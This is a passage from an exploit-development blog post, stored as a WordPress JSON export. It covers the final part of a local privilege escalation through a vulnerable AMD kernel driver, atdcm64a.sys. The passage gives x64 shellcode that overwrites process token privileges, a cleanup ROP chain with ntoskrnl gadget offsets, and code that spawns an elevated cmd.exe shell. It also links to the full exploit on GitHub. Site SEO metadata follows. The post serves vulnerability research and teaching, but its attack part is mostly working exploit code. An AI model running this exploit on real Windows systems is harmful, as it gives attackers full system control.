_KTHREAD\r\n   +0x480 CreateTime       : _LARGE_INTEGER 0x01dad54a`f0da9edd\r\n[...]\r\n1: kd&gt; dx -id 0,0,ffffe18f36a840c0 -r1 (*((ntkrnlmp!_KTHREAD *)0xffffe18f35335080))\r\n(*((ntkrnlmp!_KTHREAD *)0xffffe18f35335080))                 [Type: _KTHREAD]\r\n    [+0x000] Header           [Type: _DISPATCHER_HEADER]\r\n    [+0x018] SListFaultAddress : 0x0 [Type: void *]\r\n    [+0x020] QuantumTarget    : 0x79a5af2 [Type: unsigned __int64]\r\n    [+0x028] InitialStack     : 0xffffde08f566fc70 [Type: void *]\r\n    [+0x030] StackLimit       : 0xffffde08f566a000 [Type: void *]\r\n    [+0x038] StackBase        : 0xffffde08f5670000 [Type: void *]\r\n    [+0x040] ThreadLock       : 0x0 [Type: unsigned __int64]\r\n[...]<\/pre>\n<div>\n<div>Notice the value of <strong>InitialStack<\/strong>.<\/div>\n<div>\n<p>If we substract the current value of <strong>RSP<\/strong> from <strong>InitialStack<\/strong> we get <strong>0x818<\/strong> as offset value.<\/p>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<div>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\" data-enlighter-theme=\"monokai\">1: kd&gt; ? 0xffffde08f566fc70-ffffde08`f566f458\r\nEvaluate expression: 2072 = 00000000`00000818<\/pre>\n<\/div>\n<div>\n<div>\n<div>\n<div>\n<p>If we repeat the same procedure after restarting the system we are going to notice the <strong>offset between RSP and InitialStack won&#8217;t change<\/strong>.<\/p>\n<\/div>\n<\/div>\n<div>\n<p>Therefore, in order to retrieve the <strong>original value of RSP<\/strong>, before tampering it with our pivot gadget, we can:<\/p>\n<ol>\n<li>Retrieve the <strong>_KTHREAD structure of the current thread<\/strong> from the <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">gs<\/code> register.<\/li>\n<li>Retrieve the value of <strong>InitialStack<\/strong>\u00a0from _KTHREAD.<\/li>\n<li>Substract <strong>0x818<\/strong> from <strong>InitialStack<\/strong>. The result of the substraction is the <strong>original value of rsp<\/strong>\u00a0before tampering it.<\/li>\n<\/ol>\n<\/div>\n<\/div>\n<\/div>\n<div>\n<div>\n<h4>Crafting the cleanup ROP chain<\/h4>\n<div>\n<p>Now that we know how to retrieve the original value of <strong>RSP<\/strong>, we need to modify our shellcode and craft a <strong>cleanup ROP chain<\/strong>\u00a0that will perform the following operations:<\/p>\n<ol>\n<li>Restore the original value of the <strong>PML4 entry<\/strong>.<\/li>\n<li>Restore the original value of <strong>RSP<\/strong> so that execution flow can proceed as it was supposed to before we hijacked it.<\/li>\n<\/ol>\n<\/div>\n<div>\n<p>Here&#8217;s the final shellcode:<\/p>\n<\/div>\n<\/div>\n<\/div>\n<div>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"asm\" data-enlighter-theme=\"monokai\">\/\/ storing in RCX original PML4E value\r\nmov    rdx,rax\r\nmov    rcx,QWORD PTR [rax]\r\nbts    rcx,0x2\r\nbts    rcx,0x3f\r\n\r\n\/\/ increment privileges payload\r\nxor    rax,rax\r\nmov    rax,QWORD PTR gs:[rax+0x188]\r\nmov    rax,QWORD PTR [rax+0xb8]\r\nmov    r8,QWORD PTR [rax+0x4b8]\r\nand    r8,0xfffffffffffffff0\r\nmovabs r9,0x1ff2ffffbc\r\nmov    QWORD PTR [r8+0x40],r9\r\nmov    QWORD PTR [r8+0x48],r9\r\n\r\n\/\/ storing in cleanup ropchain original rsp value\r\nxor    rax,rax\r\nmov    rax,QWORD PTR gs:[rax+0x188]\r\nmov    rax,QWORD PTR [rax+0x28]\r\nsub    rax,0x818\r\nmov    QWORD PTR [rsp+0x20],rax\r\nmov    rax,rcx\r\nret<\/pre>\n<\/div>\n<div>\n<p><strong>Before<\/strong> the increment privileges payload we perform the following operations:<\/p>\n<ol>\n<li>Move the <strong>PML4E&#8217;s address<\/strong> in <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">rdx<\/code>.<\/li>\n<li>Recompute the <strong>original PML4E value<\/strong> and store it in <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">rcx<\/code>.<\/li>\n<\/ol>\n<\/div>\n<div>\n<div>\n<p><strong>After<\/strong> the increment privileges payload we perform the following operations:<\/p>\n<ol>\n<li>Use\u00a0<code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">rax<\/code> in order to retrieve the <strong>InitialStack<\/strong> field from the <strong>current&#8217;s thread<\/strong> _KTHREAD\u00a0structure.<\/li>\n<li>Subtract offset <strong>0x818<\/strong> from <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">rax<\/code> in order to obtain the <strong>original rsp<\/strong>\u00a0value.<\/li>\n<li>Store the <strong>original rsp<\/strong>\u00a0value in our cleanup rop chain with the <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">QWORD PTR [rsp+0x20],rax<\/code> instruction.<\/li>\n<li>Move in <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">rax<\/code> the original value of the PML4E.<\/li>\n<\/ol>\n<\/div>\n<div>\n<p>Here&#8217;s our <strong>cleanup ROP chain<\/strong> that is executed after the shellcode:<\/p>\n<\/div>\n<\/div>\n<div>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-theme=\"monokai\">\/\/&lt;shellcode&gt;\r\nropStack[index] = (ULONGLONG)sc; index++;\r\n\r\n\/\/&lt;cleanup&gt;\r\nropStack[index] = g_ntbase + 0x35dbc9; index++; \/\/ mov qword ptr [rdx], rax; ret;\r\nropStack[index] = g_ntbase + 0x3d4cba; index++; \/\/ xor rax, rax; ret;\r\nropStack[index] = g_ntbase + 0x370050; index++; \/\/ wbinvd; ret;\r\nropStack[index] = g_ntbase + 0x20505a; index++; \/\/ pop rsp; ret;\r\nropStack[index] = 0x4141414141414141; index++; \/\/ filled with rsp value\r\n\/\/&lt;cleanup&gt;<\/pre>\n<div>\n<p>In this final ROP chain we <strong>restore the PML4 entry value<\/strong>. Remember in the shellcode we end up saving the <strong>address of PML4E<\/strong>\u00a0in <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">rdx<\/code> and the <strong>original value of PML4E<\/strong>\u00a0in <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">rax<\/code>, and finally we <strong>pop in RSP<\/strong> the <strong>original value of the stack pointer<\/strong> before hijacking execution with the pivot gadget.<\/p>\n<p><em>The value <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">0x4141414141414141<\/code> in the ROP chain is just a dummy value that is actually <strong>replaced with real value<\/strong> with the<code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">QWORD PTR [rsp+0x20],rax<\/code> instruction, executed in our shellcode<\/em>.<\/p>\n<\/div>\n<\/div>\n<div>\n<div>\n<h4>Getting a high-privileged shell<\/h4>\n<div>\n<p>So, we are just left with <strong>spawning a cmd.exe<\/strong> at the end of our exploit, and if the ROP chain completes successfully we should get a <strong>shell with all privileges enabled<\/strong>. We can use the <em><strong>system()<\/strong><\/em> function at the end of our main() function in order to easily spawn a shell.<\/p>\n<\/div>\n<\/div>\n<\/div>\n<div>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-theme=\"monokai\">int main()\r\n{\r\n    [...]\r\n    arbitraryCallDriver(outputBuffer, SIZE_BUF);\r\n    printf(\"[+] arbitraryCallDriver returned successfully.\\n\");\r\n    printf(\"[*] spawning system shell...\\n\");\r\n    system(\"cmd.exe\");\r\n    return 0;\r\n}<\/pre>\n<div>\n<div>The full code of the exploit is available <a href=\"https:\/\/github.com\/MrAle98\/ATDCM64a-LPE\">here<\/a> on GitHub (master branch). At this point after compiling our exploit we should <strong>obtain a shell with all privileges enabled!<\/strong><\/div>\n<\/div>\n<\/div>\n<div><\/div>\n<div>\n<figure id=\"attachment_3839\" aria-describedby=\"caption-attachment-3839\" style=\"width: 383px\" class=\"wp-caption alignleft\"><img decoding=\"async\" class=\"wp-image-3839\" src=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/proof1-1.png\" alt=\"\" width=\"383\" height=\"373\" srcset=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/proof1-1.png 832w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/proof1-1-300x292.png 300w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/proof1-1-768x749.png 768w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/proof1-1-350x341.png 350w\" sizes=\"(max-width: 383px) 100vw, 383px\" \/><figcaption id=\"caption-attachment-3839\" class=\"wp-caption-text\">Executing the final exploit &#8211; 1<\/figcaption><\/figure>\n<figure id=\"attachment_3840\" aria-describedby=\"caption-attachment-3840\" style=\"width: 432px\" class=\"wp-caption alignright\"><img decoding=\"async\" class=\"wp-image-3840\" src=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/proof2-1.png\" alt=\"\" width=\"432\" height=\"373\" srcset=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/proof2-1.png 940w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/proof2-1-300x259.png 300w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/proof2-1-768x663.png 768w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/proof2-1-350x302.png 350w\" sizes=\"(max-width: 432px) 100vw, 432px\" \/><figcaption id=\"caption-attachment-3840\" class=\"wp-caption-text\">Executing the final exploit &#8211; 2<\/figcaption><\/figure>\n<\/div>\n<p>&nbsp;<\/p>\n<h2>Conclusion<\/h2>\n<p>In this <a href=\"https:\/\/hnsecurity.it\/tag\/atdcm64a\/\">series<\/a> of articles, I explained the process of finding vulnerabilities in kernel drivers using manual static analysis techniques and developing an exploit that takes advantage of an arbitrary pointer dereference.<\/p>\n<h2>Credits<\/h2>\n<p>Credits go to:<\/p>\n<ul>\n<li><a href=\"https:\/\/medium.com\/@ommadawn46\">@ommadawn46<\/a>, for his awesome article about how KVA works and how to bypass it.<\/li>\n<li><a href=\"https:\/\/x.com\/kiquenissim\">Enrique Nissim<\/a> and <a href=\"https:\/\/x.com\/nicoeconomou\">Nicolas Economou<\/a>, for their research paper.<\/li>\n<li><a href=\"https:\/\/x.com\/_sickn3ss_\">Alexandru Uifalvi<\/a> and <a href=\"https:\/\/x.com\/blomster81\">Morten Schenk<\/a> for the exploit code.<\/li>\n<\/ul>\n<p>In addition I would like to thank:<\/p>\n<ul>\n<li><a href=\"https:\/\/saidsecurity.wordpress.com\/\">Cedric Halbronn<\/a> for his amazing courses on OST2.<\/li>\n<li><a href=\"https:\/\/connormcgarr.github.io\/\">Connor Mcgarr<\/a> and <a href=\"https:\/\/voidsec.com\/\">Paolo Stagno<\/a> for their awesome blog posts on the topic.<\/li>\n<li><a href=\"https:\/\/x.com\/igorskochinsky\">Igor Skochinsky<\/a> for the <a href=\"https:\/\/hex-rays.com\/blog\/tag\/idatips\/\">Igor&#8217;s tips<\/a> on Hex-Rays (all I&#8217;ve learned about IDA Pro was thanks to his tips).<\/li>\n<\/ul>\n<h2>Contacts<\/h2>\n<p>If you have any questions, feel free to reach me at the following contacts:<\/p>\n<ul>\n<li><a href=\"https:\/\/x.com\/MrAle_98\">X<\/a><\/li>\n<li><a href=\"https:\/\/www.linkedin.com\/in\/alessandro-iandoli-86a19b211\/\">Linkedin<\/a><\/li>\n<\/ul>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>In the previous part of the series we successfully confirmed the vulnerabilities we discovered in our target kernel driver by [&hellip;]<\/p>\n","protected":false},"author":12,"featured_media":159895,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[78,81],"tags":[210,77,211,82,87,96,135,189,191,209],"class_list":["post-4100","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-exploits","category-vulnerabilities","tag-exploit-development","tag-exploit","tag-ida","tag-vulnerability-research","tag-reverse-engineering","tag-static-analysis","tag-windows","tag-tutorial","tag-red-teaming","tag-atdcm64a"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>HN Security - Exploiting AMD atdcm64a.sys arbitrary pointer dereference - Part 3 -<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/hnsecurity.it\/it\/blog\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-3\/\" \/>\n<meta property=\"og:locale\" content=\"it_IT\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"HN Security - Exploiting AMD atdcm64a.sys arbitrary pointer dereference - Part 3 -\" \/>\n<meta property=\"og:description\" content=\"In the previous part of the series we successfully confirmed the vulnerabilities we discovered in our target kernel driver by [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/hnsecurity.it\/it\/blog\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-3\/\" \/>\n<meta property=\"og:site_name\" content=\"HN Security\" \/>\n<meta property=\"article:published_time\" content=\"2024-10-09T12:53:16+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-09-24T08:30:01+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2025\/09\/AMD.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"1600\" \/>\n\t<meta property=\"og:image:height\" content=\"836\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Alessandro Iandoli\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@hnsec\" \/>\n<meta name=\"twitter:site\" content=\"@hnsec\" \/>\n<meta name=\"twitter:label1\" content=\"Scritto da\" \/>\n\t<meta name=\"twitter:data1\" content=\"Alessandro Iandoli\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tempo di lettura stimato\" \/>\n\t<meta name=\"twitter:data2\" content=\"13 minuti\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-3\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-3\\\/\"},\"author\":{\"name\":\"Alessandro Iandoli\",\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/#\\\/schema\\\/person\\\/7883a9c36dac7694ca101137125d5fff\"},\"headline\":\"Exploiting AMD atdcm64a.sys arbitrary pointer dereference &#8211; Part 3\",\"datePublished\":\"2024-10-09T12:53:16+00:00\",\"dateModified\":\"2025-09-24T08:30:01+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-3\\\/\"},\"wordCount\":2774,\"publisher\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/#organization\"},\"image\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-3\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/hnsecurity.it\\\/wp-content\\\/uploads\\\/2025\\\/09\\\/AMD.jpg\",\"keywords\":[\"exploit development\",\"exploit\",\"ida\",\"vulnerability research\",\"reverse engineering\",\"static analysis\",\"windows\",\"Tutorial\",\"red teaming\",\"atdcm64a\"],\"articleSection\":[\"Exploits\",\"Vulnerabilities\"],\"inLanguage\":\"it-IT\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-3\\\/\",\"url\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-3\\\/\",\"name\":\"HN Security - Exploiting AMD atdcm64a.sys arbitrary pointer dereference - Part 3 -\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-3\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-3\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/hnsecurity.it\\\/wp-content\\\/uploads\\\/2025\\\/09\\\/AMD.jpg\",\"datePublished\":\"2024-10-09T12:53:16+00:00\",\"dateModified\":\"2025-09-24T08:30:01+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-3\\\/#breadcrumb\"},\"inLanguage\":\"it-IT\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-3\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"it-IT\",\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-3\\\/#primaryimage\",\"url\":\"https:\\\/\\\/hnsecurity.it\\\/wp-content\\\/uploads\\\/2025\\\/09\\\/AMD.jpg\",\"contentUrl\":\"https:\\\/\\\/hnsecurity.it\\\/wp-content\\\/uploads\\\/2025\\\/09\\\/AMD.jpg\",\"width\":1600,\"height\":836},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-3\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Exploiting AMD atdcm64a.sys arbitrary pointer dereference &#8211; Part 3\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/#website\",\"url\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/\",\"name\":\"HN Security\",\"description\":\"Offensive Security Specialists\",\"publisher\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"it-IT\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/#organization\",\"name\":\"HN Security\",\"url\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"it-IT\",\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"https:\\\/\\\/hnsecurity.it\\\/wp-content\\\/uploads\\\/2026\\\/01\\\/hn-libellula.jpg\",\"contentUrl\":\"https:\\\/\\\/hnsecurity.it\\\/wp-content\\\/uploads\\\/2026\\\/01\\\/hn-libellula.jpg\",\"width\":696,\"height\":696,\"caption\":\"HN Security\"},\"image\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/#\\\/schema\\\/logo\\\/image\\\/\"},\"sameAs\":[\"https:\\\/\\\/x.com\\\/hnsec\",\"https:\\\/\\\/www.linkedin.com\\\/company\\\/hnsecurity\\\/\",\"https:\\\/\\\/github.com\\\/hnsecurity\",\"https:\\\/\\\/infosec.exchange\\\/@hnsec\"]},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/#\\\/schema\\\/person\\\/7883a9c36dac7694ca101137125d5fff\",\"name\":\"Alessandro Iandoli\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"it-IT\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/644822f5d8329ca419a50c1f39c97de5ccd163d1932e4cdc60a6cc8cb64ed29e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/644822f5d8329ca419a50c1f39c97de5ccd163d1932e4cdc60a6cc8cb64ed29e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/644822f5d8329ca419a50c1f39c97de5ccd163d1932e4cdc60a6cc8cb64ed29e?s=96&d=mm&r=g\",\"caption\":\"Alessandro Iandoli\"},\"url\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/author\\\/ale98\\\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"HN Security - Exploiting AMD atdcm64a.sys arbitrary pointer dereference - Part 3 -","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/hnsecurity.it\/it\/blog\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-3\/","og_locale":"it_IT","og_type":"article","og_title":"HN Security - Exploiting AMD atdcm64a.sys arbitrary pointer dereference - Part 3 -","og_description":"In the previous part of the series we successfully confirmed the vulnerabilities we discovered in our target kernel driver by [&hellip;]","og_url":"https:\/\/hnsecurity.it\/it\/blog\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-3\/","og_site_name":"HN Security","article_published_time":"2024-10-09T12:53:16+00:00","article_modified_time":"2025-09-24T08:30:01+00:00","og_image":[{"width":1600,"height":836,"url":"https:\/\/hnsecurity.it\/wp-content\/uploads\/2025\/09\/AMD.jpg","type":"image\/jpeg"}],"author":"Alessandro Iandoli","twitter_card":"summary_large_image","twitter_creator":"@hnsec","twitter_site":"@hnsec","twitter_misc":{"Scritto da":"Alessandro Iandoli","Tempo di lettura stimato":"13 minuti"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/hnsecurity.it\/it\/blog\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-3\/#article","isPartOf":{"@id":"https:\/\/hnsecurity.it\/it\/blog\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-3\/"},"author":{"name":"Alessandro Iandoli","@id":"https:\/\/hnsecurity.it\/it\/#\/schema\/person\/7883a9c36dac7694ca101137125d5fff"},"headline":"Exploiting AMD atdcm64a.sys arbitrary pointer dereference &#8211; Part 3","datePublished":"2024-10-09T12:53:16+00:00","dateModified":"2025-09-24T08:30:01+00:00","mainEntityOfPage":{"@id":"https:\/\/hnsecurity.it\/it\/blog\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-3\/"},"wordCount":2774,"publisher":{"@id":"https:\/\/hnsecurity.it\/it\/#organization"},"image":{"@id":"https:\/\/hnsecurity.it\/it\/blog\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-3\/#primaryimage"},"thumbnailUrl":"https:\/\/hnsecurity.it\/wp-content\/uploads\/2025\/09\/AMD.jpg","keywords":["exploit development","exploit","ida","vulnerability research","reverse engineering","static analysis","windows","Tutorial","red teaming","atdcm64a"],"articleSection":["Exploits","Vulnerabilities"],"inLanguage":"it-IT"},{"@type":"WebPage","@id":"https:\/\/hnsecurity.it\/it\/blog\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-3\/","url":"https:\/\/hnsecurity.it\/it\/blog\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-3\/","name":"HN Security - Exploiting AMD atdcm64a.sys arbitrary pointer dereference - Part 3 -","isPartOf":{"@id":"https:\/\/hnsecurity.it\/it\/#website"},"primaryImageOfPage":{"@id":"https:\/\/hnsecurity.it\/it\/blog\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-3\/#primaryimage"},"image":{"@id":"https:\/\/hnsecurity.it\/it\/blog\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-3\/#primaryimage"},"thumbnailUrl":"https:\/\/hnsecurity.it\/wp-content\/uploads\/2025\/09\/AMD.jpg","datePublished":"2024-10-09T12:53:16+00:00","dateModified":"2025-09-24T08:30:01+00:00","breadcrumb":{"@id":"https:\/\/hnsecurity.it\/it\/blog\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-3\/#breadcrumb"},"inLanguage":"it-IT","potentialAction":[{"@type":"ReadAction","target":["https:\/\/hnsecurity.it\/it\/blog\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-3\/"]}]},{"@type":"ImageObject","inLanguage":"it-IT","@id":"https:\/\/hnsecurity.it\/it\/blog\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-3\/#primaryimage","url":"https:\/\/hnsecurity.it\/wp-content\/uploads\/2025\/09\/AMD.jpg","contentUrl":"https:\/\/hnsecurity.it\/wp-content\/uploads\/2025\/09\/AMD.jpg","width":1600,"height":836},{"@type":"BreadcrumbList","@id":"https:\/\/hnsecurity.it\/it\/blog\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-3\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/hnsecurity.it\/it\/"},{"@type":"ListItem","position":2,"name":"Exploiting AMD atdcm64a.sys arbitrary pointer dereference &#8211; Part 3"}]},{"@type":"WebSite","@id":"https:\/\/hnsecurity.it\/it\/#website","url":"https:\/\/hnsecurity.it\/it\/","name":"HN Security","description":"Offensive Security Specialists","publisher":{"@id":"https:\/\/hnsecurity.it\/it\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/hnsecurity.it\/it\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"it-IT"},{"@type":"Organization","@id":"https:\/\/hnsecurity.it\/it\/#organization","name":"HN Security","url":"https:\/\/hnsecurity.it\/it\/","logo":{"@type":"ImageObject","inLanguage":"it-IT","@id":"https:\/\/hnsecurity.it\/it\/#\/schema\/logo\/image\/","url":"https:\/\/hnsecurity.it\/wp-content\/uploads\/2026\/01\/hn-libellula.jpg","contentUrl":"https:\/\/hnsecurity.it\/wp-content\/uploads\/2026\/01\/hn-libellula.jpg","width":696,"height":696,"caption":"HN Security"},"image":{"@id":"https:\/\/hnsecurity.it\/it\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/x.com\/hnsec","https:\/\/www.linkedin.com\/company\/hnsecurity\/","https:\/\/github.com\/hnsecurity","https:\/\/infosec.exchange\/@hnsec"]},{"@type":"Person","@id":"https:\/\/hnsecurity.it\/it\/#\/schema\/person\/7883a9c36dac7694ca101137125d5fff","name":"Alessandro Iandoli","image":{"@type":"ImageObject","inLanguage":"it-IT","@id":"https:\/\/secure.gravatar.com\/avatar\/644822f5d8329ca419a50c1f39c97de5ccd163d1932e4cdc60a6cc8cb64ed29e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/644822f5d8329ca419a50c1f39c97de5ccd163d1932e4cdc60a6cc8cb64ed29e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/644822f5d8329ca419a50c1f39c97de5ccd163d1932e4cdc60a6cc8cb64ed29e?s=96&d=mm&r=g","caption":"Alessandro Iandoli"},"url":"https:\/\/hnsecurity.it\/it\/blog\/author\/ale98\/"}]}},"jetpack_featured_media_url":"https:\/\/hnsecurity.it\/wp-content\/uploads\/2025\/09\/AMD.jpg","_links":{"self":[{"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/posts\/4100","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/users\/12"}],"replies":[{"embeddable":true,"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/comments?post=4100"}],"version-history":[{"count":2,"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/posts\/4100\/revisions"}],"predecessor-version":[{"id":160902,"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/posts\/4100\/revisions\/160902"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/media\/159895"}],"wp:attachment":[{"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/media?parent=4100"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp